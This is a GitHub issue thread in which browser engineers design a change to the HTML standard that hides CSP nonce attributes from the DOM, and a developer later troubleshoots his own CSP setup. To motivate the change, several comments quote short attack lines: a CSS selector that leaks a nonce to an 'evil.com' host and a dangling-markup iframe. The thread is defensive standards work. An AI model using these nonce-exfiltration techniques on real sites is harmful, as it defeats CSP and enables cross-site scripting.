Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Consider hiding nonce content attributes. #2369

Closed
mikewest opened this issue Feb 17, 2017 · 28 comments
Closed

Consider hiding nonce content attributes. #2369

mikewest opened this issue Feb 17, 2017 · 28 comments

Comments

@mikewest
Copy link
Member

@mikewest mikewest commented Feb 17, 2017

We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }). Chrome is experimenting with some changes that might help mitigate this risk, which seems fairly robust:

  1. When parsing a <script> tag with a nonce attribute, copy the attribute's value in to an internal [[nonce]] slot on the element, and then overwrite the content attribute's value with the empty string.

  2. When changing the value of the content attribute (e.g. via setAttributeValue), update the value of the internal [[nonce]] slot.

  3. When running a script, pass in the [[nonce]] slot's value rather than the content attribute's value as the cryptographic nonce metadata to be used when fetching the script resource.

  4. The nonce IDL attribute on HTMLScriptElement's getter returns the value of the internal [[nonce]] slot. Its setter sets the internal [[nonce]] slot's value. This enables JavaScript to retain access to the nonce value to manually propagate trust to scripts they require.

We'd want to do the above for every element that supports a nonce attribute. Some folks on the team suggest that it might actually be nice to extend this behavior to every element. That is, move this up to Element (or Node?) rather than special-casing the three elements that currently support nonces. If we extend nonce support to other resource types (as I'm told Mozilla has already done with images?), this might be more reasonable than special-casing even more elements.

The tests associated with https://codereview.chromium.org/2628733005 and https://codereview.chromium.org/2644143005 might help explain the expectations.

@arturjanc, @mikispag, and @lweichselbaum have opinions. I hope folks like @annevk, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink also have opinions.

@annevk
Copy link
Member

@annevk annevk commented Feb 17, 2017

What is the processing model for 2? What would getAttribute("nonce") return? It seems a little cleaner if content attribute changes had no effect (other than adding a nonce content attribute with a value and such) and nonce= in markup was just a way to invoke the nonce IDL attribute setter.

@annevk
Copy link
Member

@annevk annevk commented Feb 17, 2017

Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?

@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 17, 2017

What is the processing model for 2? What would getAttribute("nonce") return?

I don't care too much about 2, honestly. The idea is than an application that doesn't want to give scripts the ability to propagate the nonce has the ability to clear it out before loading scripts they don't trust as much. I guess we could support that through removeAttribute, though. I'd be happy with that instead.

Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true?

Ah, thanks for finding that! I knew you'd said "Hey, shouldn't we hide the nonce?" at some point, but I couldn't find the bug. :) The refinement here is that the nonce continues to be available via the nonce IDL attribute; we're only clearing out the content attribute's value. That is, document.querySelector('script[nonce]').getAttribute('nonce') would return an empty string, while document.querySelector('script[nonce]').nonce would return the nonce value. As long as the attacker doesn't have script access, they'll have a hard time making use of that value.

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 17, 2017

Should nonce "work" in the XML syntax (it would violate the XML spec, but we already do that for some things such as <template>)?

@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 17, 2017

@zcorpan: What do you mean?

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 17, 2017

I mean, should the attribute value of nonce be the empty string from parsing this XML?

<html xmlns="http://www.w3.org/1999/xhtml"><script nonce="foo"/></html>
@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 17, 2017

I mean, should the attribute value of nonce be the empty string from parsing this XML?

<html xmlns="http://www.w3.org/1999/xhtml"><script nonce="foo"/></html>

Got it. Yes, I'd suggest treating that in the same way. :)

@arturjanc
Copy link

@arturjanc arturjanc commented Feb 18, 2017

Re: the discussion in w3c/webappsec-csp#65 mentioned by @annevk -- I was, sadly, wrong about that. The attacks on nonces that we were worried about relied on injecting "dangling markup" where the legitimate nonce would become part of another attribute (e.g. something like <iframe src='//evil.com/...<foo></foo> <script nonce="secret"'>) so the parsed document would not contain the nonce` attribute and hiding it would not help much. However, it's also possible to exfiltrate nonces without putting the parser in a strange state, e.g. via DOM XSS by injecting styles and using CSS selectors to match on the value of the nonce attribute; hiding the nonce from the DOM mitigates such attacks.

The approach outlined by Mike above achieves the security goal (i.e. prevents exfiltration of the nonce via CSS and any similar techniques) but also allows nonce propagation because scripts can get its value by using the IDL attribute / .nonce property of the nonced script element.

@annevk
Copy link
Member

@annevk annevk commented Feb 18, 2017

But in that discussion you also said that we'd break existing scripts. So those libraries you mention there all use the nonce IDL attribute or you plan on breaking them or what?

@arturjanc
Copy link

@arturjanc arturjanc commented Feb 18, 2017

The simplest answer is that we plan on breaking them; more accurately, we'd require them to be refactored to first check for the presence of the IDL attribute (for UAs which make this change), and if that fails, the DOM attribute (for UAs which don't). My guess is that potential breakage is most likely limited to Google (since we're the main, if not only, user of nonce-only CSP policies) and it's something we can deal with; but it would be good to add telemetry to see if this would be a problem anywhere else.

mikewest added a commit that referenced this issue Feb 20, 2017
We've seen some recent attacks on CSP which rely on the ability to
exfiltrate nonce data via various mechanisms that can grab data from
content attributes. CSS selectors are the best example: through clever
use of prefix/postfix text matching selectors values can be sent out
to an attacker's server for reuse (e.g.
`script[nonce=a] { background: url("https://evil.com/nonce?a");}`).

This patch makes some changes to mitigate this risk by hiding the nonce
value from relevant element's content attributes:

1.  When parsing an element with a `nonce` attribute, the content
    attribute's value is copied into an internal slot on the element, and
    overwritten with the empty string.

2.  The `nonce` IDL attribute's getter returns the value of the internal
    slot, and its setter updates the internal slot's value.

3.  The internal slot's value is used to populate the cryptographic
    nonce metadata used by Fetch when making requests.

WIP: This patch doesn't actually do the above yet. It only adjusts
the <link> element in the hopes of sparking conversation about how this
feature should actually work. Does it look reasonable? Should we
replicate the steps for each element type that has a nonce, or move it
up the chain to something like Node?
@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 20, 2017

@annevk, et al: I uploaded a strawman PR (#2373) that applies the above to <link>. If it seems like a reasonable direction, I'll extend it to <script> and <style>. We could also move it up the stack (or make it a mixin of some sort?) if that's too much duplication...

@arturjanc: I know y'all are updating Google-internal libraries to propagate nonces using the IDL attribute rather than the content attribute. Do you plan to upstream changes to external libraries as well? Do external libraries do this yet, or has strict-dynamic obviated the need for enough folks to make it irrelevant? I'm not sure what metrics you'd like me to add to Blink to measure the impact of this change. Calls to getAttribute('nonce')?

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 20, 2017

Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"? This would be an obvious failure mode that is easier to debug, where browser devtools can steer people towards using .nonce instead, and we don't end up running scripts that should not have run because the nonce was in a confusing state.

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 20, 2017

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

@mozfreddyb
Copy link

@mozfreddyb mozfreddyb commented Feb 20, 2017

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

If not. would this cause foo.innerHTML += 'more markup' to break nonced scripts?

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 20, 2017

Correct.

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 20, 2017

But scripts inserted with innerHTML don't execute anyway (mostly to avoid executing twice when innerHTML += "..." is used).

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 20, 2017

New question. Should [[Cryptographic Nonce]] be cloned with cloneNode()?

@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 21, 2017

Thanks, @zcorpan!

Re (2), I think it would be pretty confusing for web developers if setAttribute is used and [[Cryptographic Nonce]] is left at its earlier value. But I also think it should not set the content attribute to the empty string and set [[Cryptographic Nonce]] to the new value -- we want people to use .nonce instead. How about making any modification to the content attribute, except from the parser, cause the element to be "Not Nonceable"?

As background, I think the only case in which setting a nonce value is reasonable is during creation/insertion of a new script. That is:

var s = document.createElement('script');
s.src = 'whatever';
s.nonce = 'noncey-nonce';
document.body.appendChild(s);

In that situation, I honestly wouldn't care if s.setAttribute('nonce', 'noncey-nonce') worked as well. As long as it's done before the appendChild, no problem. Setting a nonce on an element once a script has executed or a resource has loaded or whatever seems like a strange thing to do, and I don't honestly expect anyone to do it (with the exception of preventing accidental/malicious nonce propagation by intentionally removing the nonce value).

To bring in the conversation from #2373 (comment): this patch basically decouples the IDL and content attributes (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more conceptually defensible than linking the two in some cases but not in others.

Should the fragment parser (i.e. innerHTML) be allowed to set [[Cryptographic Nonce]]?

Sure. It seems like it would be surprising to prevent that... am I missing something? In general, I'd imagined that we deal with the nonce content attribute as it exists when the element is inserted into a document, however it's inserted. I'm pretty much fine with accepting el.innerHTML = "<script nonce='yay'>alert(1);</scr" + "ipt>"; and breaking document.body.appendChild(document.querySelector('script').remove()), for example.

Should [[Cryptographic Nonce]] be cloned with cloneNode()?

Good question. Do we clone other kinds of state (e.g. parser-inserted or already-started flags?)? I don't think we do. I'd suggest we follow the behavior for those flags for this slot.

@zcorpan
Copy link
Member

@zcorpan zcorpan commented Feb 21, 2017

https://html.spec.whatwg.org/#script-processing-model

The cloning steps for script elements must set the "already started" flag on the copy if it is set on the element being cloned.

The other pieces of state are not cloned for script. But considering <template><script nonce="...">... I suppose it is expected that the nonce would be copied to the clone?

@mikewest
Copy link
Member Author

@mikewest mikewest commented Feb 21, 2017

But considering <template><script nonce="...">... I suppose it is expected that the nonce would be copied to the clone?

I think I'd expect that, yes.

mikewest added a commit that referenced this issue Apr 7, 2017
This patch extracts the 'nonce' attribute out to a generic definition in
the "Fetching resources" section (alongside "CORS settings attributes",
etc.), and defines some new behaviors with the intent of reducing the
risk of side-channel leakage of the nonce's value.

In short, the nonce value is extracted from the content attribute when
the element is inserted into the DOM, and put into an internal slot. The
content attribute's value is set to the empty string.

From then on, the slot's value and the content attribute's value are
disconnected; alterations to one have no effect on the other, and
vice-versa.

The nonce's value is available to script via the `nonce` IDL attribute,
and so can be propagated just as today.

Addresses #2369.
@campbellgoe
Copy link

@campbellgoe campbellgoe commented Nov 9, 2017

I desperately need some insight into this problem I am having. I set a nonce e.g. <script nonce="some-nonce"></script> and I can see it in page source, but when I use google developer tools to inspect the script it just shows <script nonce></script> and the script fails the CSP for the specified nonce value.
Any idea why?

After this I tried using a hash of the code as the CSP, but that didn't work either...

I have to have a bit of inline script because I am using pug which has variables passed from Express, and I have found no way of getting those values into my script when it is just a script file. Plus I need inline styles for page-load speed.

@mikispag
Copy link

@mikispag mikispag commented Nov 9, 2017

@campbellgoe
Copy link

@campbellgoe campbellgoe commented Nov 9, 2017

Thank you that helps. I have the script nonce working, but the style nonce is not working, despite I can see the CSP for style has the same nonce as the style has. So I am stuck again. I am also receiving:

Refused to load the image 'https://localhost:3000/images/loading-icon.png' because it violates the following Content Security Policy directive: "img-src 'self'" Despite loading from self.

I am also receiving:

Refused to load the script 'https://localhost:3000/js/client.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....

@mikispag
Copy link

@mikispag mikispag commented Nov 9, 2017

@campbellgoe
Copy link

@campbellgoe campbellgoe commented Nov 9, 2017

thank you. do I need a unique nonce for each script and style?

@mikispag
Copy link

@mikispag mikispag commented Nov 9, 2017

@campbellgoe
Copy link

@campbellgoe campbellgoe commented Nov 9, 2017

Thanks.
The image issue was because I was using upgradeInsecureRequests: true
and so when running on localhost without https it was causing this issue. These images are working now.

As for the other scripts, adding the nonce is working and the page is functional.

The inline styles are applying to the page, but I am still getting the error in the console that they are blocked by CSP. It has the same message 7-11 times, but only 1 inline style. Any idea why? I do not like these console messages but I suppose I can live with them.

Finally, some of the images aren't actually loading, so I have to look into this.

Again, thanks for helping.

@campbellgoe
Copy link

@campbellgoe campbellgoe commented Nov 9, 2017

It is all working now and those messages have stopped appearing.

@annevk annevk closed this in 19f5cce Nov 22, 2017
@cnsgithub cnsgithub mentioned this issue Jul 23, 2018
4 of 4 tasks complete
alice added a commit to alice/html that referenced this issue Jan 8, 2019
Some [recent attacks on CSP][1] rely on the ability to exfiltrate
nonce data via various mechanisms that can read content attributes.
CSS selectors are the best example: through clever use of
prefix/postfix text matching selectors values can be sent out to an
attacker's server for reuse (e.g.,
`script[nonce=a] { background: url("https://evil.com/nonce?a");}`).

This patch mitigates the risk of this class of attack by hiding the
nonce value from elements' content attributes by moving the `nonce`
attributes into a new `NoncedElement` interface mixin, which is
included into `HTMLElement`. That mixin defines the following
behaviors for the `nonce` content attribute:

1.  When the `nonce` content attribute is set or changed, its new
    value is copied into a `[[CryptographicNonce]]` slot on the
    element.

2.  When a `NoncedElement` is inserted into a document which was
    delivered with a `Content-Security-Policy` header, the `nonce`
    content attribute is cleared out.

The `nonce` IDL attribute getter and setter now operate on the
`[[CryptographicNonce]]` slot's value rather than reflecting the
content attribute, meaning that the nonce value remains exposed
to script, but is opaque to non-script side-channels.

Likewise, the `[[CryptographicNonce]]` slot's value is used when
populating a request's cryptographic nonce metadata in order to
deliver the nonce to CSP for validation.

Tests: https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding

Closes whatwg#2369.

[1]: https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
7 participants